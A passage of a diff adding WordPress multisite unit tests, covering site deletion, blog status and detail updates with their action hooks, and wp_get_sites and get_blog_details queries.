+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When a site is flagged as 'deleted', its data should remain in the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_drop_false() {
+		global $wpdb;
+
+		$blog_id = $this->factory->blog->create();
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertNotEmpty( $table_fields, $prefix . $table );
+		}
+	}
+
+	/**
+	 * When a site is fully deleted, its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_drop_true() {
+		$blog_id = $this->factory->blog->create();
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When a site is fully deleted, its data should be removed from the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_drop_true() {
+		global $wpdb;
+
+		$blog_id = $this->factory->blog->create();
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertEmpty( $table_fields );
+		}
+	}
+
+	/**
+	 * When the main site of a network is fully deleted, its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_main_site_drop_true() {
+		$blog_id = 1; // The main site in our test suite has an ID of 1.
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When the main site of a network is fully deleted, its data should remain in the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_main_site_drop_true() {
+		global $wpdb;
+
+		$blog_id = 1; // The main site in our test suite has an ID of 1.
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertNotEmpty( $table_fields, $prefix . $table );
+		}
+	}
+
+	/**
+	 * The site count of a network should change when a site is flagged as 'deleted'.
+	 */
+	function test_network_count_after_wpmu_delete_blog_drop_false() {
+		$blog_id = $this->factory->blog->create();
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 1, get_blog_count() );
+	}
+
+	/**
+	 * The site count of a network should change when a site is fully deleted.
+	 */
+	function test_blog_count_after_wpmu_delete_blog_drop_true() {
+		$blog_id = $this->factory->blog->create();
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 1, get_blog_count() );
+	}
+
+	/**
+	 * When a site is deleted with wpmu_delete_blog(), only the files associated with
+	 * that site should be removed. When wpmu_delete_blog() is run a second time, nothing
+	 * should change with upload directories.
+	 */
+	function test_upload_directories_after_multiple_wpmu_delete_blog() {
+		$filename = rand_str().'.jpg';
+		$contents = rand_str();
+
+		// Upload a file to the main site on the network.
+		$file1 = wp_upload_bits( $filename, null, $contents );
+
+		$blog_id = $this->factory->blog->create();
+
+		switch_to_blog( $blog_id );
+		$file2 = wp_upload_bits( $filename, null, $contents );
+		restore_current_blog();
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertTrue( file_exists( $file1['file'] ) );
+		$this->assertFalse( file_exists( $file2['file'] ) );
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertTrue( file_exists( $file1['file'] ) );
+		$this->assertFalse( file_exists( $file2['file'] ) );
+	}
+
+	function test_wpmu_update_blogs_date() {
+		global $wpdb;
+
+		wpmu_update_blogs_date();
+
+		// compare the update time with the current time, allow delta < 2
+		$blog = get_blog_details( $wpdb->blogid );
+		$current_time = time();
+		$time_difference = $current_time - strtotime( $blog->last_updated );
+		$this->assertLessThan( 2, $time_difference );
+	}
+
+	/**
+	 * If `update_blog_details()` is called with any kind of empty arguments, it
+	 * should return false.
+	 */
+	function test_update_blog_details_with_empty_args() {
+		$result = update_blog_details( 1, array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * If the ID passed is not that of a current site, we should expect false.
+	 */
+	function test_update_blog_details_invalid_blog_id() {
+		$result = update_blog_details( 999, array( 'domain' => 'example.com' ) );
+		$this->assertFalse( $result );
+	}
+	
+	function test_update_blog_details() {
+		$blog_id = $this->factory->blog->create();
+
+		$result = update_blog_details( $blog_id, array( 'domain' => 'example.com', 'path' => 'my_path/' ) );
+
+		$this->assertTrue( $result );
+
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( 'example.com', $blog->domain );
+		$this->assertEquals( 'my_path/', $blog->path );
+		$this->assertEquals( '0', $blog->spam );
+	}
+
+	function test_update_blog_details_make_ham_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'spam' => 1 ) );
+
+		add_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'spam' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'spam' stays the same.
+		update_blog_details( $blog_id, array( 'spam' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_make_spam_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'spam' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'spam' stays the same.
+		update_blog_details( $blog_id, array( 'spam' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_archive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'archived' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'archived' stays the same.
+		update_blog_details( $blog_id, array( 'archived' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_unarchive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'archived' => 1 ) );
+
+		add_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'archived' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'archived' stays the same.
+		update_blog_details( $blog_id, array( 'archived' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_make_delete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'deleted' stays the same.
+		update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_make_undelete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+
+		add_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'deleted' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'deleted' stays the same.
+		update_blog_details( $blog_id, array( 'deleted' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_mature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'mature' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'mature' stays the same.
+		update_blog_details( $blog_id, array( 'mature' => 1 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_details_unmature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'mature' => 1 ) );
+
+		add_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_details( $blog_id, array( 'mature' => 0 ) );
+
+		$blog = get_blog_details( $blog_id );
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should not fire if the status of 'mature' stays the same.
+		update_blog_details( $blog_id, array( 'mature' => 0 ) );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		remove_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	/**
+	 * Provide a counter to determine that hooks are firing when intended.
+	 */
+	function _action_counter_cb() {
+		global $test_action_counter;
+		$test_action_counter++;
+	}
+
+	/**
+	 * Test cached data for a site that does not exist and then again after it exists.
+	 *
+	 * @ticket 23405
+	 */
+	function test_get_blog_details_when_site_does_not_exist() {
+		// Create an unused site so that we can then assume an invalid site ID.
+		$blog_id = $this->factory->blog->create();
+		$blog_id++;
+
+		// Prime the cache for an invalid site.
+		get_blog_details( $blog_id );
+
+		// When the cache is primed with an invalid site, the value is set to -1.
+		$this->assertEquals( -1, wp_cache_get( $blog_id, 'blog-details' ) );
+
+		// Create a site in the invalid site's place.
+		$this->factory->blog->create();
+
+		// When a new site is created, its cache is cleared through refresh_blog_details.
+		$this->assertFalse( wp_cache_get( $blog_id, 'blog-details' )  );
+
+		$blog = get_blog_details( $blog_id );
+
+		// When the cache is refreshed, it should now equal the site data.
+		$this->assertEquals( $blog, wp_cache_get( $blog_id, 'blog-details' ) );
+	}
+
+	/**
+	 * Updating a field returns the sme value that was passed.
+	 */
+	function test_update_blog_status() {
+		$result = update_blog_status( 1, 'spam', 0 );
+		$this->assertEquals( 0, $result );
+	}
+
+	/**
+	 * Updating an invalid field returns the same value that was passed.
+	 */
+	function test_update_blog_status_invalid_status() {
+		$result = update_blog_status( 1, 'doesnotexist', 'invalid' );
+		$this->assertEquals( 'invalid', $result );
+	}
+
+	function test_update_blog_status_make_ham_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'spam' => 1 ) );
+
+		add_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'spam', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'spam' stays the same.
+		update_blog_status( $blog_id, 'spam', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_make_spam_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'spam', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'spam' stays the same.
+		update_blog_status( $blog_id, 'spam', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_archive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'archived', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'archived' stays the same.
+		update_blog_status( $blog_id, 'archived', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_unarchive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'archived' => 1 ) );
+
+		add_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'archived', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'archived' stays the same.
+		update_blog_status( $blog_id, 'archived', 0 );
+		$blog = get_blog_details( $blog_id );
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_make_delete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'deleted', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'deleted' stays the same.
+		update_blog_status( $blog_id, 'deleted', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_make_undelete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+
+		add_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'deleted', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'deleted' stays the same.
+		update_blog_status( $blog_id, 'deleted', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_mature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'mature', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'mature', 1 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_unmature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+		update_blog_details( $blog_id, array( 'mature' => 1 ) );
+
+		add_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'mature', 0 );
+
+		$blog = get_blog_details( $blog_id );
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'mature', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_update_blog_public_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = $this->factory->blog->create();
+
+		add_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'public', 0 );
+
+		$blog = get_blog_details( $blog_id );
+		$this->assertEquals( '0', $blog->public );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'public', 0 );
+		$blog = get_blog_details( $blog_id );
+
+		$this->assertEquals( '0', $blog->public );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	/**
+	 * Test the default arguments for wp_get_sites, which should return only
+	 * public sites from the current network.
+	 *
+	 * @ticket 14511
+	 */
+	function test_wp_get_sites_with_default_arguments() {
+		$this->factory->blog->create( array( 'site_id' => 2 ) );
+
+		$this->assertCount( 1, wp_get_sites() );
+	}
+
+	/**
+	 * No sites should match a query that specifies an invalid network ID.
+	 */
+	function test_wp_get_sites_with_invalid_network_id() {
+		$this->assertcount( 0, wp_get_sites( array( 'network_id' => 999 ) ) );
+	}
+
+	/**
+	 * A network ID of null should query for all public sites on all networks.
+	 */
+	function test_wp_get_sites_with_network_id_null() {
+		$this->factory->blog->create( array( 'site_id' => 2 ) );
+
+		$this->assertCount( 2, wp_get_sites( array( 'network_id' => null ) ) );
+	}
+
+	/**
+	 * Expect only sites on the specified network ID to be returned.
+	 */
+	function test_wp_get_sites_with_specific_network_id() {
+		$this->factory->blog->create( array( 'site_id' => 2 ) );
+
+		$this->assertCount( 1, wp_get_sites( array( 'network_id' => 2 ) ) );
+	}
+
+	/**
+	 * Expect sites from both networks if both network IDs are specified.
+	 */
+	function test_wp_get_sites_with_multiple_network_ids() {
+		$this->factory->blog->create( array( 'site_id' => 2 ) );
+
+		$this->assertCount( 2, wp_get_sites( array( 'network_id' => array( 1, 2 ) ) ) );
+	}
+
+	/**
+	 * Queries for public or non public sites should work across all networks if network ID is null.
+	 */
+	function test_wp_get_sites_with_public_meta_on_all_networks() {
+		$this->factory->blog->create( array( 'site_id' => 2, 'meta' => array( 'public' => 0 ) ) );
+
+		$this->assertCount( 1, wp_get_sites( array( 'public' => 1, 'network_id' => null ) ) );
+		$this->assertcount( 1, wp_get_sites( array( 'public' => 0, 'network_id' => null ) ) );
+	}
+
+	/**
+	 * If a network ID is specified, queries for public sites should be restricted to that network.
+	 */
+	function test_wp_get_sites_with_public_meta_restrict_to_one_network() {
+		$this->factory->blog->create( array( 'site_id' => 1, 'meta' => array( 'public' => 0 ) ) );
+
+		$this->assertCount( 1, wp_get_sites( array( 'public' => 1, 'network_id' => 1 ) ) );
+		$this->assertCount( 0, wp_get_sites( array( 'public' => 1, 'network_id' => 2 ) ) );
+	}
+
+	/**
+	 * Test the limit and offset arguments for wp_get_sites when multiple sites are available.
+	 */
+	function test_wp_get_sites_limit_offset() {
+		// Create 2 more sites (in addition to the default one)
+		$this->factory->blog->create_many( 2 );
+
+		// Expect first 2 sites when using limit
+		$this->assertCount( 2, wp_get_sites( array( 'limit' => 2 ) ) );
+
+		// Expect only the last 2 sites when using offset of 1 (limit will default to 100)
+		$this->assertCount( 2, wp_get_sites( array( 'offset' => 1 ) ) );
+
+		// Expect only the last 1 site when using offset of 2 and limit of 2
+		$this->assertCount( 1, wp_get_sites( array( 'limit' => 2, 'offset' => 2 ) ) );
+	}
+
+	/**
+	 * Expect 0 sites when using an offset larger than the total number of sites.
+	 */
+	function test_wp_get_sites_offset_greater_than_available_sites() {
+		$this->assertCount( 0, wp_get_sites( array( 'offset' => 20 ) ) );
+	}
+
+	/**
+	 * @ticket 27952
+	 */
+	function test_posts_count() {
+		$this->factory->post->create();
+		$post2 = $this->factory->post->create();
+		$this->assertEquals( 2, get_blog_details()->post_count );
+
+		wp_delete_post( $post2 );
+		$this->assertEquals( 1, get_blog_details()->post_count );
+	}
+
+	/**
+	 * @ticket 26410
+	 */
+	function test_blog_details_cache_invalidation() {
+		update_option( 'blogname', 'foo' );
+		$details = get_blog_details( get_current_blog_id() );
+		$this->assertEquals( 'foo', $details->blogname );
+
+		update_option( 'blogname', 'bar' );
+		$details = get_blog_details( get_current_blog_id() );
+		$this->assertEquals( 'bar', $details->blogname );
+	}
+
+	/**
+	 * @ticket 29845
+	 */
+	function test_get_blog_details() {
+		$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'make.wordpress.org/'    => array( 'domain' => 'make.wordpress.org', 'path' => '/' ),
+		);
+
+		foreach ( $network_ids as &$id ) {
+			$id = $this->factory->network->create( $id );
+		}
+		unset( $id );
+
+		$ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/',         'title' => 'Test 1', 'site_id' => $network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/',     'title' => 'Test 2', 'site_id' => $network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/', 'title' => 'Test 3', 'site_id' => $network_ids['wordpress.org/'] ),
+			'make.wordpress.org/'         => array( 'domain' => 'make.wordpress.org', 'path' => '/',         'title' => 'Test 4', 'site_id' => $network_ids['make.wordpress.org/'] ),
+			'make.wordpress.org/foo/'     => array( 'domain' => 'make.wordpress.org', 'path' => '/foo/',     'title' => 'Test 5', 'site_id' => $network_ids['make.wordpress.org/'] ),
+		);
+
+		foreach ( $ids as &$id ) {
+			$id = $this->factory->blog->create( $id );
+		}
+		unset( $id );
+
+		// Retrieve site details by passing only a blog ID.
+		$site = get_blog_details( $ids['wordpress.org/'] );
+		$this->assertEquals( $ids['wordpress.org/'], $site->blog_id );
+		$this->assertEquals( 'Test 1', $site->blogname );
+
+		$site = get_blog_details( $ids['wordpress.org/foo/'] );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $site->blog_id );
+		$this->assertEquals( 'Test 2', $site->blogname );
+
+		$site = get_blog_details( 999 );
+		$this->assertFalse( $site );
+
+		// Retrieve site details by passing an array containing blog_id.
+		$site = get_blog_details( array( 'blog_id' => $ids['wordpress.org/foo/bar/'] ) );
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'], $site->blog_id );
+		$this->assertEquals( 'Test 3', $site->blogname );
+
+		$site = get_blog_details( array( 'blog_id' => $ids['make.wordpress.org/'] ) );
+		$this->assertEquals( $ids['make.wordpress.org/'], $site->blog_id );
+		$this->assertEquals( 'Test 4', $site->blogname );
+
+		$site = get_blog_details( array( 'blog_id' => 999 ) );
+		$this->assertFalse( $site );
+
+		// Retrieve site details by passing an array containing domain and path.
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/' ) );
+		$this->assertEquals( $ids['wordpress.org/'], $site->blog_id );
+		$this->assertEquals( 'Test 1', $site->blogname );
+
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/foo/' ) );
+		$this->assertEquals( $ids['wordpress.org/foo/'], $site->blog_id );
+		$this->assertEquals( 'Test 2', $site->blogname );
+
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/foo/bar/' ) );
+		$this->assertEquals( $ids['wordpress.org/foo/bar/'], $site->blog_id );
+		$this->assertEquals( 'Test 3', $site->blogname );
+
+		$site = get_blog_details( array( 'domain' => 'make.wordpress.org', 'path' => '/' ) );
+		$this->assertEquals( $ids['make.wordpress.org/'], $site->blog_id );
+		$this->assertEquals( 'Test 4', $site->blogname );
+
+		$site = get_blog_details( array( 'domain' => 'make.wordpress.org', 'path' => '/foo/' ) );
+		$this->assertEquals( $ids['make.wordpress.org/foo/'], $site->blog_id );
+		$this->assertEquals( 'Test 5', $site->blogname );
+
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/zxy/' ) );
+		$this->assertFalse( $site );
+	}
+
+	/**
+	 * Test the original and cached responses for a created and then deleted site when
+	 * the blog ID is requested through get_blog_id_from_url().
+	 */
+	function test_get_blog_id_from_url() {
+		$blog_id = $this->factory->blog->create();
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Test the original response and cached response for the newly created site.
+		$this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * Test the case insensitivity of the site lookup.
+	 */
+	function test_get_blog_id_from_url_is_case_insensitive() {
+		$blog_id = $this->factory->blog->create( array( 'domain' => 'example.com', 'path' => '/xyz' ) );
+		$details = get_blog_details( $blog_id, false );
+
+		$this->assertEquals( $blog_id, get_blog_id_from_url( strtoupper( $details->domain ), strtoupper( $details->path ) ) );
+	}
+
+	/**
+	 * Test the first and cached responses for a site that does not exist.
+	 */
+	function test_get_blog_id_from_url_that_does_not_exist() {
+		$blog_id = $this->factory->blog->create( array( 'path' => '/xyz' ) );
+		$details = get_blog_details( $blog_id, false );
+
+		$this->assertEquals( 0, get_blog_id_from_url( $details->domain, 'foo' ) );
+		$this->assertEquals( -1, wp_cache_get( md5( $details->domain . 'foo' ), 'blog-id-cache' ) );
+	}
+
+	/**
+	 * A blog ID is still available if only the `deleted` flag is set for a site. The same
